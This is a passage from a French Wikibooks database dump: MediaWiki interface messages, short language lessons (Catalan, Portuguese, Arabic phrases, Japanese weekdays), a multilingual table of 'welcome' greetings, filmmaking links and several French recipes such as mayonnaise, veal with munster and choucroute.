adresse IP est listée en tant que proxy ouvert [http://www.sorbs.net SORBS] DNSBL. Vous ne pouvez créer un compte MediaWiki:Sorbsreason 4016 sysop 47009 2006-07-01T18:48:51Z MediaWiki default Votre adresse IP est listée en tant que proxy ouvert [http://www.sorbs.net SORBS] DNSBL. MediaWiki:Speciallogtitlelabel 4017 sysop 47022 2006-07-01T18:48:51Z MediaWiki default Titre : MediaWiki:Specialloguserlabel 4018 sysop 47023 2006-07-01T18:48:51Z MediaWiki default Utilisateur : MediaWiki:Sqlhidden 4019 sysop 47024 2006-07-01T18:48:51Z MediaWiki default (requête SQL cachée) MediaWiki:Tog-fancysig 4020 sysop 26224 2005-11-29T00:47:50Z MediaWiki default Signature brute (sans lien automatique) MediaWiki:Tooltip-watch 4021 sysop 47050 2006-07-01T18:48:51Z MediaWiki default Rajouter cette page à votre liste de suivi [alt-w] MediaWiki:Undo 4022 sysop 15488 2005-06-25T11:04:00Z MediaWiki default undo MediaWiki:Zhconversiontable 4023 sysop 15489 2005-06-25T11:04:00Z MediaWiki default -{}- Catalan: L'article 4025 18886 2005-08-09T20:06:40Z 213.219.160.88 Le catalan a des types d'articles, comme le français: el, la, els, les (determiné) et un, una, uns, unes. Il y a aussi l'article apostrophé: L'. On place cet article devant les mots qui commencent par une voyelle ou H. Exceptions: *mots féminins qui commencent par I,U, HI, HU àtones (sans accent): la història *quand on peut se tromper: la assimetria, la ira L'usage des articles est pareil au français. Enseignement du persan (farsi) 4027 41763 2006-05-07T18:28:21Z 84.189.244.48 ''Texte italique''bonjour comment allez-vous? [[Media:Exemple.ogg]][[Image:Wikipedia-logo.png|200px]] == Texte de sous-titre == [http://www.example.com lien titre][[Lien titre]] ---- Dire bienvenue dans le monde 4034 44368 2006-06-11T23:18:27Z 128.187.0.165 Dire « bienvenue » en : {| border="0" cellpadding="4" cellspacing="0" style="border-width: 1px; border-color: #dddddd; border-style: solid" |- bgcolor="#ddffdd" |'''langue''' |'''traduction''' |- bgcolor="#f3fff3" |[[w:afrikaans|AFRIKAANS]] |welkom |- bgcolor="#f3f5f3" |[[w:albanais|ALBANAIS]] |mirë se vini |- bgcolor="#f3fff3" |{{allemand}} |herzlich willkommen / willkommen |- bgcolor="#f3f5f3" |[[w:alsacien|ALSACIEN]] |welkomma |- bgcolor="#f3fff3" |{{anglais}} |welcome |- bgcolor="#f3f5f3" |[[w:arabe|ARABE]] |marhaban / ahlan - مرحبا / أهلا |- bgcolor="#f3fff3" |[[w:arménien|ARMÉNIEN]] |bari galoust |- bgcolor="#f3f5f3" |[[w:azéri|AZERI]] |xos gelmissiniz |- bgcolor="#f3fff3" |BAS-SAXON |welkum |- bgcolor="#f3f5f3" |[[w:basque|BASQUE]] |ongi etorri |- bgcolor="#f3fff3" |[[w:bengalî|BENGALI]] |swagata |- bgcolor="#f3f5f3" |[[w:berbère|BERBÈRE]] |ansuf yiswen/yisek |- bgcolor="#f3fff3" |[[w:biélorusse|BIÉLORUSSE]] |Шчыра запрашаем (ščyra zaprašajem) |- bgcolor="#f3f5f3" |[[w:birman|BIRMAN]] |kyo tzo pa eit |- bgcolor="#f3fff3" |BOBO |ani kié |- bgcolor="#f3f5f3" |[[w:bosniaque|BOSNIAQUE]] |dobro došli |- bgcolor="#f3fff3" |[[w:breton|BRETON]] |degemer mad / Dagemer mat ! |- bgcolor="#f3f5f3" |[[w:bulgare|BULGARE]] |добре дошъл |- bgcolor="#f3fff3" |[[w:catalan|CATALAN]] |benvinguts |- bgcolor="#f3f5f3" |[[w:mandarin|CHINOIS (mandarin)]] |huān yíng 歡迎 magasins : huān yíng guāng lín 歡迎光臨 |- bgcolor="#f3fff3" |[[w:coréen|CORÉEN]] |eoso eoseyo (prononcé osso osseyô, littéralement "venez vite") |- bgcolor="#f3f5f3" |[[w:corse (langue)|CORSE]] |bonavinuta |- bgcolor="#f3f5f3" |CRÉOLE ANTILLAIS |bel bonjou |- bgcolor="#f3fff3" |CRÉOLE GUADELOUPÉEN |bienvini |- bgcolor="#f3f5f3" |CRÉOLE GUYANAIS |ben vini |- bgcolor="#f3fff3" |CRÉOLE HAITIEN |bienvéni |- bgcolor="#f3f5f3" |CRÉOLE MARTINIQUAIS |bienvini |- bgcolor="#f3fff3" |CRÉOLE MAURICIEN |bienvéni |- bgcolor="#f3f5f3" |[[w:croate|CROATE]] |dobrodošli / Dobro došli! |- bgcolor="#f3fff3" |[[w:danois|DANOIS]] |velkommen |- bgcolor="#f3f5f3" |{{espagnol}} |bienvenido (m) / bienvenida (f) / bienvenidos (pl) |- bgcolor="#f3fff3" |[[w:espéranto|ESPÉRANTO]] |bonvenon |- bgcolor="#f3f5f3" |[[w:estonien|ESTONIEN]] |tere tulemast |- bgcolor="#f3fff3" |[[w:éwé|EWÉ]] |gabitê |- bgcolor="#f3f5f3" |FÉROÏEN |vælkomin |- bgcolor="#f3fff3" |FINNOIS |tervetuloa |- bgcolor="#f3f5f3" |FLAMAND |welkom |- bgcolor="#f3fff3" |FRANCIQUE LORRAIN |wìllkòmme |- bgcolor="#f3f5f3" |FRIOULAN |binvignut |- bgcolor="#f3fff3" |GAÉLIQUE D'ÉCOSSE |fàilte |- bgcolor="#f3f5f3" |GAÉLIQUE D'IRLANDE |fáilte |- bgcolor="#f3fff3" |GALICIEN |benvido |- bgcolor="#f3f5f3" |GALLOIS |croeso |- bgcolor="#f3fff3" |GASCON |planvenguda |- bgcolor="#f3f5f3" |GOUN | mikouabô |- bgcolor="#f3fff3" |GREC |kalos ilthate |- bgcolor="#f3f5f3" |GUARANÍ |eguahé porá |- bgcolor="#f3fff3" |HÉBREU |ברוכים הבאים (baroukh haba) |- bgcolor="#f3f5f3" |HINDI |swaagat / aap ka swaagat hein |- bgcolor="#f3fff3" |HONGROIS |üdvözlöm |- bgcolor="#f3f5f3" |INDONÉSIEN |selamat datang |- bgcolor="#f3fff3" |ISLANDAIS |velkomin |- bgcolor="#f3f5f3" |{{italien}} |benvenuto |- bgcolor="#f3fff3" |JAPONAIS |yôkoso |- bgcolor="#f3f5f3" |[[w:Jersiais|Jersiais]] (Normande) |séyiz l'beinv'nu (singulier) / séyiz les beinv'nus (pluriel) |- bgcolor="#f3f5f3" |KABYLE |amrehva ysswène / l'aaslama |- bgcolor="#f3fff3" |KHMER |chum reap suor (formel) / suor sdei (courant) |- bgcolor="#f3f5f3" |KOTOKOLI |nodé |- bgcolor="#f3fff3" |KURDE |bi xer hati |- bgcolor="#f3f5f3" |LANGUEDOCIEN (OCCITAN) |(la) benvenguda |- bgcolor="#f3fff3" |LAO |gnindi ton hap |- bgcolor="#f3f5f3" |LATIN |(per) gratus mihi venis (sois le bienvenu) |- bgcolor="#f3fff3" |LETTON |laipni lūdzam |- bgcolor="#f3f5f3" |LINGALA |boyeyi bolamu |- bgcolor="#f3fff3" |LITUANIEN |sveiki atvykę |- bgcolor="#f3f5f3" |LUXEMBOURGEOIS |wëllkom |- bgcolor="#f3fff3" |MACÉDONIEN |dobredojde |- bgcolor="#f3f5f3" |MALAIS |selamat datang |- bgcolor="#f3fff3" |MALAYALAM |swagatham |- bgcolor="#f3f5f3" |MALGACHE |tonga soa |- bgcolor="#f3fff3" |MALTAIS |merhba |- bgcolor="#f3f5f3" |MAORI |haere mai |- bgcolor="#f3fff3" |MINA |miawezon |- bgcolor="#f3f5f3" |MONGOL |tavtai morilogtun (Тавтай морилогтун) |- bgcolor="#f3fff3" |MORÉ |ne y waoongo |- bgcolor="#f3f5f3" |NÉERLANDAIS |welkom |- bgcolor="#f3fff3" |NÉPALAIS |namaste |- bgcolor="#f3f5f3" |NORVÉGIEN |velkommen |- bgcolor="#f3fff3" |OCCITAN |benvenguts |- bgcolor="#f3f5f3" |OURDOU |khush amdeed |- bgcolor="#f3fff3" |PERSAN |khosh âmadid (formel) / khoshumadi (courant) |- bgcolor="#f3f5f3" |POLONAIS |witaj (sing.) / witajcie (pl.) / Witamy! |- bgcolor="#f3fff3" |PORTUGAIS |bem-vindo |- bgcolor="#f3f5f3" |PROVENÇAL |(la) benvenguda |- bgcolor="#f3fff3" |ROUMAIN |bine ai venit (sing.) / bine aţi venit (pl. ou forme polie) |- bgcolor="#f3f5f3" |RUSSE |добро пожаловать (dobro pojalovat) |- bgcolor="#f3fff3" |SAMOAN |afio mai, susu mai ma maliu mai |- bgcolor="#f3f5f3" |SARDE |benènnidu (logudorois) / beni benìu (campidanois) |- bgcolor="#f3fff3" |SERBE |dobrodošli |- bgcolor="#f3f5f3" |SHONA |wauya (pluriel : mauya) |- bgcolor="#f3fff3" |SINDHI |bhali karay aaya |- bgcolor="#f3f5f3" |SLOVAQUE |vitame vás / vitajte |- bgcolor="#f3fff3" |SLOVÈNE |dobrodošel (à 1 H) / dobrodošla (à 2 H) / dobrodošli (à 3 H ou +) dobrodošla (à 1 F) / dobrodošli (à 2 F) / dobrodošle (à 3 F ou +) dobrodošli (groupe mixte) |- bgcolor="#f3f5f3" |SOBOTA |zupinje z te videtite |- bgcolor="#f3fff3" |SUÉDOIS |välkommen |- bgcolor="#f3f5f3" |SUISSE-ALLEMAND |härzliche wöikomme |- bgcolor="#f3fff3" |SWAHILI |karibu (à une seule pers.) / karibuni |- bgcolor="#f3f5f3" |TAGALOG |tuloy ka (singulier) / tuloy po kayo (pluriel) |- bgcolor="#f3fff3" |TAHITIEN |maeva / manava |- bgcolor="#f3f5f3" |TAMOUL |nal-varravu |- bgcolor="#f3fff3" |TATAR |rahim itegez |- bgcolor="#f3f5f3" |TCHÈQUE |vítejte |- bgcolor="#f3fff3" |TELUGU |swagatham |- bgcolor="#f3f5f3" |THAI |ยินดีต้อนรับ (yindii ton rap) |- bgcolor="#f3fff3" |TURC |hosgeldiniz |- bgcolor="#f3f5f3" |UDMURT |gazhasa oetiśkom |- bgcolor="#f3fff3" |UKRAINIEN |laskavo prosymo |- bgcolor="#f3f5f3" |VIETNAMIEN |chào mừng (ông, bà, cô : M, Mme, Mlle) mới ðến HOAN NGHINH (en public, sur banderolle) |- bgcolor="#f3fff3" |WALLON |(orthographe à betchfessîs) bénvnou (bénvnowe) / wilicome |- bgcolor="#f3f5f3" |WOLOF |diarama |- bgcolor="#f3fff3" |YORUBA |ékouabô / ékabô |} (Source [http://www.freelang.com freelang.com]) [[Catégorie:Dire dans le monde|Bienvenue]] Arabe/Phrases de base 4035 43123 2006-05-25T10:21:32Z 82.232.186.104 /* Comment allez vous, Rencontrer et Saluer des gens */ réponse à as-salaamu 'alaikum ([[w:Utilisateur:Ayadho]]) {{ébauche}} Organisation de la liste: *Par utilité (les plus utiles en premier) *Par longueur (les plus courtes en premier) == Prases de Bases: == *[[Media:شكرًا.ogg|*]]<font size="+3">شكراً</font><br> :sħukrân :Syllable décomposé: sħuk-ran :''Merci'' <BR> *<font size="+3">من فضلك</font><br> :min fadžli-ka :Syllable décomposé: min-fadž-lik :''If you please'' <BR> *<font size="+3">أهلاً</font><br> :Syllable décomposé: ah-lân :''Bienvenue/Bonjour'' <BR> *[[Media:لا-1.ogg|*]]<font size="+3">لا</font><br> :laa :''Non'' <BR> *[[Media:نعم-1yes.ogg|*]]<font size="+3">نعم</font><br> :Syllable décomposé: na-rħam :''Oui'' also used as a question, when someone calls another person's name. <BR> *<font size="+3">يسار</font><br> :Syllable décomposé: ya-saar :''gauche'' i.e. la direction: gauche. <BR> *<font size="+3">يمين</font> :Syllable décomposé: ya-miin :''droite'' i.e. la direction droite (opposé à la gauche). <BR> ==Comment allez vous, Rencontrer et Saluer des gens== *<font size="+3">السلام عليكم</font> :''èl salaamu rħalaikum'' :Syllable décomposé:as-sa-laa-mu rħa-lai-kum :أَس سَ لا مُ عَ لَي كُم :''La paix soit avec vous.'' Islamic Religious origins and a very common greeting. <BR> *<font size="+3">وعليكم السلام</font> :wa rħalaikum'''u''' èl salaam''u'' :Syllable décomposé: wa-rħa-lai-ku-mus-sa-laam :''Et qu'avec vous soit la paix.'' C'est la réponse à la phrase précedente. <BR> *<font size="+3">كم عمرك؟</font> :kam rħum-ri-k''a'' :Syllable décomposé: kam-rħum-rik :''Quel âge avez-vous ?'' <BR> *<font size="+3">تشرفنا</font> :tasħarrafnaa :Syllable décomposé:ta-sħar-raf-naa :''Nous sommes honorés'' utilisé pour signifier "c'était un honneur de vous rencontrer" <BR> *<font size="+3">مع السلامة</font> : marħa èl salaamä''ti'' :Syllable décomposé:ma-rħas-sa-laa-mah :''Take care.'' <BR> *<font size="+3">وداعاً</font> : wadaarħân :Syllable breakdown:wa-daa-`an :''Aurevoir'' <BR> *<font size="+3">من أي دولة أنت؟</font> :min ayyi daulatiń ant''a''? :Syllable décomposé: min-ay-yi-dau-la-tin-ant :''De quel pays venez-vous ?'' <BR> *<font size="+3">من أين أنت؟</font> : min aina ant''a''? :Syllable décomposé: min-ai-na-ant :''D'où venez vous ?'' <BR> *<font size="+3">إلى اللقاء</font> <br>:ilaà el liqaa'''i'' :Syllable décomposé: i-lal-li-qaa' :''A bientôt.'' <BR> ==More== *<font size="+3">'''رائع'''</font> :raa'irħ :Syllable décomposé: raa-irħ :''Magnifique! OU Splendide!'' <BR> *<font size="+3">'''هيا'''</font> :hayyaa :Syllable décomposé: hay-ya :''Viens." <BR> *<font size="+3">'''هيا بنا'''</font> :hayyaa bi-naa :Syllable décomposé: hay-ya-bi-naa :''Fait ça.'' <BR> *<font size="+3">'''لنذهب'''</font> :li nadħhab :Syllable décomposé: li-nadħ-hab :''Let's go'' <BR> *<font size="+3">'''حسناً'''</font> :hžasanân :Syllable décomposé: '''h'''a-sa-nan :''ok'' <BR> *<font size="+3">'''مرحباً '''</font> :marhžabân :Syllable décomposé: mar-'''h'''a-baa :''Bienvenue'' <BR> *<font size="+3">'''أجل'''</font> :ajal :Syllable décomposé: a-jal :''Oui''// Certainement Never used to answer someone calling another's name. Often used when agreeing with someone. <BR> *<font size="+3">'''بلى'''</font> :balaà :Syllable décomposé: ba-laa :''Oui'', Parfois interprété comme un "oui" fort. Egalement utilisé pour répondre à une phrase interro-négative. It is especially appropriate for answering (negative) rhetorical questions. example: Isn't he here? yes. (meaning he is here). Arabic:balaà yes. (he is not here). Arabic: narħam <BR> *<font size="+3">'''كلا''' :kallaa :Syllable décomposé: kal-laa :''Ney/Hors de question'' <BR> *<font size="+3">'''ما الأمر ؟'''</font> :ma el amr :Syllable décomposé: mal-amr :''Qu'est ce que c'est ?'' When "it" is not a tangible object. :"amr" is sometimes translated as "affair" <BR> *<font size="+3">'''ما اسمك ؟'''</font> :maa esmu-ka :Syllable décomposé: mas-muk :''Quel est votre nom ?'' <BR> *<font size="+3">'''أسمي ــــ'''</font> :esmiî <<NAME>> :Syllable décomposé: as-mii :''Mon nom est ...'' <BR> *<font size="+3">'''أليس كذلك؟'''</font> :a laisa kadħaalika? :Syllable décomposé: a-lai-sa-ka-dhaa-lik :''right ?'' This right is not the opposite of "left". <BR> *<font size="+3">'''جيد'''</font> :jayyid :Syllable décomposé: jay-yid :''Bien'' <BR> *<font size="+3">'''كيف حالك ؟'''</font> :kaifa hžaalu-ka :Syllable décomposé: kay-fa-'''h'''aa-luk :''Comment vas-tu ?'' (informel) <BR> *<font size="+3">'''بخير'''</font> :bi kħairiń :Syllable décomposé: bi-khair :''Bien'' ::(Seulement pour une question du type: Comment vas-tu ?) <BR> *<font size="+3">'''أشعر بالتعب'''</font> :asħrħuru bi èl tarħabi :Syllable décomposé: ash-rħu-ru-bit-tarħb ((i)) :''Je suis fatigué'' ::(literally translated to (I) ''feel'' tired, but, in arabic, ''I'' (<font size="+1">انا</font>) can be ommited if it's easy to understand from the phrase) <BR> *<font size="+3">'''أشعر بالإنهاك'''</font> :asħrħuru bi el inhaaki :Syllable décomposé: ash-`u-ru-bil-in-haak :''I am exhausted'' ::(Also literally translated to ''I feel exhausted'') <BR> == Other useful phrases == *<font size="+3">'''أين الـحمام ؟'''</font> :aina al-'''h'''amaam :Syllable décomposé: ai-nal-'''h'''am-maam :''Où est la salle de bain ?'' <BR> *<font size="+3">'''أين الـمطار ؟'''</font> :aina al-ma'''t'''aar :Syllable décomposé: ai-nal-ma-'''t'''aar :''Où est l'aeroport ?'' <BR> *<font size="+3">'''أين الـفندق ؟'''</font> :aina al-funduq :Syllable décomposé: ai-nal-fun-duq :''Où est l'hotel ?'' <BR> *<font size="+3">'''أنا أحب هذه الـمدينة '''</font> :ana u'''h'''ibbu haa''dh''ihi al-madeenäh :a-na-u-'''h'''ib-bu-haa-dhi-hil-ma-dee-nah :''J'adore cette ville.'' <BR> *<font size="+3">'''هل تتحدث الأنجليزية ؟'''</font> :hal tata'''h'''addeth al enjlizieh :Syllable décomposé: hal-ta-ta-Had-di-''th''al-in-ji-lee-zee-a) :''Parlez-vous anglais ?'' ::The pronoun ''you'' (<font size="+1">أنت</font>) wasn't written because it can be understood from the sentence. So, if you want to say ''Do you speak english'', then you'll say "<font size="+1">تتحدث أنت الأنجليزية؟ </font>" (tatahaddeth anti al enjlizieh). ::The question word ''hal'' (<font size="+1">هل</font>) is like "''est-ce que''" in French but you inverted the subject and verb after it, but then removed the subject as it can be understood from the sentence so you can translate the above phrase in French literally like "''Est-ce que parles anglais?''", but it gives the same meaning as "''Est-ce que tu parles anglais?''" <BR> *<font size="+3">'''هل تتحدثين الأنجليزية ؟'''</font> :hal tata'''h'''addethiina al enjiliiziyyäh :Syllable décomposé: hal-ta-ta-Had-di-''th''ee-na-al-in-ji-lee-zee :''Parlez-vous anglais ?'' En parlant à une femme. <BR> *<font size="+3">'''هل تشرب الشاي ؟'''</font> :hal tashraba al-shaay? :Syllable décomposé: hal-ta''sh''-ra-ba''sh'' shaay :''Voulez-vous boire un thé ?'' En parlant à un homme. <BR> *<font size="+3">'''هل تشربين الشاي ؟'''</font> :Words alone: hal tashrabiina al-shaay? :Syllable décomposé: hal-tash-ra-bee-nash-shaay? :''Voulez-vous boire un thé ?'' En parlant à une femme. <BR> *<font size="+3">'''هل تأكل اللحم ؟'''</font> :Words alone: hal ta'kul al-la'''h'''am :Syllable breakdown:hal-ta'-ku-lal-la-'''h'''am? '=glottal stop does not equal 3 ع :''Do you (guy) eat meat?'' When talking to a male. <BR> *<font size="+3">'''هل تأكلوا اللحم ؟'''</font> :Words alone: hal ta'kuluu al-la'''h'''am? :Spoken fluently: hal-ta'-ku-lul-la-'''h'''am? :''Do you (guys) eat meat?'' When talking to a group that has some males. <BR> *<font size="+3">'''هل تأكلين اللحم ؟'''</font> :hal-ta'-ku-lee-nal-la-'''h'''am? :''Do you (girl) eat meat?'' When talking to a female. <BR> ---- Talking about yourself *<font size="+3">''' لا آكل اللحم'''</font> :laa aakulu al-la'''h'''am :Syllable décomposé: laa-aa-ku-lul-la-Ham :''Je ne mange pas de viande'' <BR> *<font size="+3">''' لا آكل لحم الخنزير'''</font> :laa aakulu la'''h'''am al-khunzeer :Syllable décomposé: laa-aa-ku-lu-la-Ham-al-khun-zeer :''Je ne mange pas de porc'' <BR> *<font size="+3">''' لا أشرب الشاي'''</font> :laa ashrabu al-shaay :Syllable décomposé: laa-a''sh''-ra-bul-shay :''Je ne bois pas de thé'' <BR> *<font size="+3">''' أريد أن آكل '''</font> :ureedu an aakul :Syllable décomposé: u-ree-du-an-aa-kul :''Je veux manger.'' <BR> *<font size="+3">''' أريد أن آكل الخبز '''</font> :ureedu an aakul al-khubz :Syllable décomposé: u-ree-du-an-aa-ku-lal-khubz :''Je veux manger du pain.'' <BR> *<font size="+3">''' أنا أستطيع أن أتكلم اللغة الإنجليزي '''</font> :ana asta'''t'''ii`u an atakallama al-lughatu al-injileezee :Syllable décomposé: a-na-as-ta-'''t'''ii-`u-an-a-ta-kal-la-mal-lu-''gh''a-tul-in-gi-lee-zee :''Je parle anglais.'' <BR> *Arabe <font size="+3"> العربيّة </font> (al-ara'beeya)<BR><br> *Bonjour <font size="+3">مرحبًا </font> (mar'Haba)<BR><br> *Aurevoir <font size="+3">إلى اللقاء </font> (ila-lli'qa')<BR><br> *S'il vous plaît <font size="+3"> من فضلك </font> (min 'fad/lak)<BR><br> *Merci <font size="+3">شكرًا </font> ('Shukran)<BR><br> *Celui là <font size="+3">ذلك </font> ('Dalika)<BR><br> *Combien ? <font size="+3">كمْ؟ </font> (kam)<BR><br> *Anglais <font size="+3">الإنجليزيّة </font> /alʔinʤliˈzeeya/ (formal),/alʔinkliˈzeeya/ (colloquial)<BR><br> *Oui <font size="+3">نعم </font> ('na-am)<BR><br> *Non <font size="+3">لا </font> (la:)<BR><br> *Où est la salle de bain ? <font size="+3">أين الحمّام؟ </font> (aina-'''h'''am'ma:m)<BR><br> *Quel est votre nom ? <font size="+3">ما اسمك؟ </font> ('ma 'ismuk)<BR><br> *Aurevoir <font size="+3">مع السلامة </font> (ma-a ssa'lama)<BR><br> *Je ne sais pas <font size="+3">لا أعرف </font> (laa a`rif)<BR><br> *Je ne comprend pas <font size="+3">لا أفهم </font> (laa afham)<BR><br> *Je ne me rappel pas <font size="+3">لا أتذكر </font> (laa atadhakkar)<BR><br> *Bienvenue <font size="+3">أهلاً وسهلاً بكم </font> (ahlan wa sahlan bikum) <BR><br> *Je suis malade <font size="+3">أنا مريض </font> (ana mari'''d''')<BR><br> *Bonjour <font size="+3">السلام عليكم </font> (assalaamu `alaikum)<BR><br> *Bonjour (réponse), comment allez vous ? <font size="+3"> وعليكم السلام! كيف الحال؟</font> (wa-`alaikum al-salaam. kaifa al-'''h'''aal)<BR> <br> *Bien, et vous ? <font size="+3"> بخير، الحمد لله. وكيف أنت؟</font> (bikhairin, al'''h'''amdu lillaahi. wa kaifa ant) <BR> <BR> Jours (Japonais) 4037 40819 2006-04-23T19:00:35Z 82.66.8.62 Retour à la [[Table des matières (Japonais)|table des matières]]. {| {{prettytable}} ! Français ! [[Japonais:Kanji|Kanji]] ! [[Japonais:Kana|Kana]] ! [[Japonais:Romaji|Rōmaji]] |- | Les jours de la semaine | <big>[[wiktionary:fr:曜日|曜日]]</big> | ようび | yōbi |- | Lundi | <big>[[wiktionary:fr:月曜日|月曜日]]</big> | げつようび | getsuyōbi |- | Mardi | <big>[[wiktionary:fr:火曜日|火曜日]]</big> | かようび | kayōbi |- | Mercedi | <big>[[wiktionary:fr:水曜日|水曜日]]</big> | すいようび | suiyōbi |- | Jeudi | <big>[[wiktionary:fr:木曜日|木曜日]]</big> | もくようび | mokuyōbi |- | Vendredi | <big>[[wiktionary:fr:金曜日|金曜日]]</big> | きにょうび | kinyōbi |- | Samedi | <big>[[wiktionary:fr:土曜日|土曜日]]</big> | どようび | doyōbi |- | Dimanche | <big>[[wiktionary:fr:日曜日|日曜日]]</big> | にちようび | nichiyōbi |} ==Voir aussi== *[[wiktionary:fr:Catégorie:Noms_communs_japonais|Les noms dans le wiktionnaire]] {{Glossaires_de_Japonais}} [[catégorie:Glossaires de Japonais]] Méthodes de chinois (mandarin) pour devenir sinologue 4039 18952 2005-08-11T15:31:21Z 199.67.140.210 Je recommande la méthode ASSIMIL pour l'étude de toutes les langues vivantes ou mortes. Et pour le chinois, acheter le livre et les enregistrements n'est pas un luxe. ;) La prononciation des tons est, je le répète, très importante dans l'étude du chinois mandarin. Cuisine:Mayonnaise 4042 15507 2005-06-29T09:36:43Z 82.64.56.19 == Recette de base classique == ===Ingrédients (pour 4 personnes)=== * 1 jaune d'œuf * 1 cuillerée à soupe de moutarde forte * un trait de vinaigre * 2,5 dl d'huile de colza ou de tournesol * sel et poivre ===Préparation=== #Avec un fouet, dans un cul de poule ou un saladier, mélanger le jaune d'œuf et la moutarde. #Ajouter sel et poivre puis détendre avec le vinaigre. #Fouetter avec énergie et rapidement tout en incorporant l'huile que l'on verse en filet. #La mayonnaise doit ''monter'', c'est-à-dire s'émulsifier ; le tout se transforme en une masse onctueuse et homogène. == Aïoli == Enseignement du portugais: artigo 4044 30348 2006-01-25T13:50:34Z 83.198.171.230 Les Articles - sont les mots qui correspondent aux mots "le", "la", "les", "un", "une", et "des" en français. le = o la = a les = os/as (quand le mot est masculin, utilisez "os", quand le mot est féminin, "as") un = um une = uma des = uns/umas (même chose - 'uns' est masculin et 'umas' est féminin) Attention: Un mot masculin en français n'est pas forecement masculin en portugais, etc. Enseignement du portugais: pronomes 4045 24477 2005-10-28T17:58:44Z Erasmus 194 Les suivants sont les pronoms du portugais. Ils correspondent pour la plupart aux pronoms français. Je = Eu Tu = Tu/Você * Il = Ele Elle = Ela Nous = Nós Vous = Você/Vocês, O senhor/A senhora/Os senhores/As senhoras, Vós ** Ils = Eles Elles = Elas Le mot "tu" en portugais est moins poli qu'en français. Au Brésil, on ne dit plus "tu", mais plutôt "você" (si on ne parle qu'à une personne), et "vocês" (si on parle à plus d'une personne). Mais si on veut être très poli, on peut utiliser... '''O SENHOR''' = à un homme '''A SENHORA''' = à une femme '''OS SENHORES''' = à quelques hommes, ou à quelques hommes et femmes '''AS SENHORAS''' = à quelques femmes Faire son film-sites spécialisés 4047 18868 2005-08-08T20:30:50Z 82.125.192.75 ==Scenario== *[http://www.scenariopole.net/ Scenariopole] ==Technique== *[http://www.repaire.net/ Le repaire] *[http://www.lunerouge.org/ La lune rouge] *[http://www.dvforever.com/ DvForever] Faire son film-films 4048 15513 2005-06-30T22:49:43Z 81.250.122.10 *[http://www.incurable-lefilm.fr.st INCURABLE] (court-métrage),processus de sa création au jour le jour.) Cuisine:Recettes de veau 4050 15515 2005-07-01T14:02:43Z 82.64.52.233 __NOTOC__ == Escalopes de veau au munster == ==== Ingrédients (pour 4 personnes)==== * 4 escalopes de veau * 100 g de fromage munster sans la croûte * 2 oignons hâchés finement * 10 cuillers à soupe de crème fraîche épaisse * 60 g de beurre, sel et poivre du moulin ==== Préparation==== # Faites revenir les escalopes dans 40 g de beurre bien chaud et faites-les bien dorer sur chaque face, puis salez, poivrez et réservez-les sur le plat de service. # Dans le jus de cuisson, faites revenir l'oignon hâché. # Quand il commence à prendre de la couleur, à feu doux, ajoutez la crème fraîche et le munster décroûté. # Laissez cuire la sauce jusqu'à ce qu'elle soit bien onctueuse, salez et poivrez. # Nappez les escalopes avec la sauce au munster et servez chaud. ====Suggestions==== * La recette peut aussi être réalisée avec des escalopes de dinde. * On peut aussi ajouter quelques morceaux de noix avec les oignons. * variante : '''escalope au reblochon''' (testé sans les oignons) remplacer le munster par du reblochon, on peut ajouter un peu de vin blanc moelleux dans la sauce. ---- Retour aux [[Cuisine:Recettes à base de viande|recettes à base de viande]] / au [[Livre_de_Cuisine|sommaire]] ---- Cuisine:Recettes de l'Alsace 4051 29098 2006-01-16T21:46:17Z 81.57.99.217 == [[Cuisine:Choucroute|Choucroute]] == [[Image:Zuurkool op bord.jpg|right|300px]] ==== Ingrédients ==== Les proportions suivantes sont données pour 4 à 6 personnes. Compte tenu du nombre d'ingrédients, il parait en effet difficile de réaliser une choucroute pour un nombre plus réduit de convives. * 750 g de choucroute * 500 g de pommes de terre * 300 g de collet (échine de porc) salé * 300 g de palette fumée * 4 paires de saucisses de Strasbourg, appelées «knacks» * 4 saucisses de Montbéliard, ou 4 gendarmes * 300 g de lard fumé et/ou salé * une dizaine de baies de genièvre * 1 oignon * 1 gousse d'ail * saindoux * vin blanc sec * sel, poivre ==== Préparation de la choucroute ==== * Macéré de longues semaines dans sa saumure, le chou doit en premier lieu être '''lavé soigneusement''' dans plusieurs eaux afin de le dessaler. Il est même recommandé de le blanchir, c’est-à-dire de le plonger quelques minutes dans l'eau bouillante après lui avoir fait subir un premier lavage sommaire à l'eau courante, puis de le rincer et de l'égouter. Il est alors prêt à être cuisiné. * Faire fondre l'oignon émincé dans le saindoux. Cette étape est facultative, on peut en effet aussi piquer un oignon avec des clous de girofle et le disposer au cœur de la choucroute. * Dans un faitout, disposer une bonne couche de choucroute, l'ail et l'oignon, puis les viandes à l'exception de celles qui nécessitent un autre mode de cuisson (voir ci-dessous), puis une nouvelle couche de choucroute. Mouiller abondamment avec un mélange de vin blanc sec et d'eau. Les proportions du mélange sont affaire de goût, à défaut d'expérience on peut faire moitié eau, moitié vin. Le mouillage peut également être fait avec un mélange de bière blonde légère, par exemple de type Pils, et d'eau, selon le même principe. Assaisonner raisonnablement. * Mettre à cuire 1h30 à feu doux à moyen, de sorte que l'ensemble soit porté à ébullition. L'utilisation d'un autocuiseur permet de ramener le temps de cuisson à 3/4 h / 1 h, à compter de la mise sous pression. Ce plat peut être réchauffé avec bonheur en vue d'une consommation au cours des jours suivants, il prend en effet des arômes plus prononcés à chaque fois. * Accompagner de pommes de terre cuites à la vapeur et de knacks pochés (10 mn). * La composition de la choucroute fait l'objet de multiples variantes, selon les goûts et les traditions locales et familiales. C'est notamment le cas de la garniture qui peut parfaitement incorporer, outre les ingrédients ci-dessus: un jarret de porc, cuit avec la choucroute; du cervelas, à rajouter dans la choucroute 15/20 minutes avant la fin, ou à pocher à part (10 mn); du boudin noir, cuit à la poêle; des cotelettes de porc, cuites à la poêle; des quenelles de foie de porc, à pocher (10 mn). == [[Cuisine:Kouglof|Kouglof]] == == [[Cuisine:Baeckeoffe|Baeckaeoffe]] == == [[Cuisine:Poulet au riesling|Poulet au riesling]] == Pour 6 personnes Préparation : 35 mn Cuisson : 1h30 ==== Ingrédients ==== * 1 poulet de 1,5kg en morceaux * 25 cl de riesling * 200 g de champignons de Paris * 1 c à s de cognac * 20 cl de bouillon de volaille préparé avec un cube * 1 jaune d'oeuf * 15 cl de crème fraîche * 4 échalotes * 1 gousse d'ail * 1 bouquet de persil * 80 g de beurre * 2 c à s d'huile * Quelques pincées de noix de muscade râpée * Sel, poivre ==== Préparation ==== * Couper les champignons en lamelles ; émincer les échalotes ; hacher le persil et écraser la gousse d'ail. * Faire chauffer l'huile et 40 g de beurre dans une cocotte puis faire revenir les morceaux de poulet jusqu'à ce 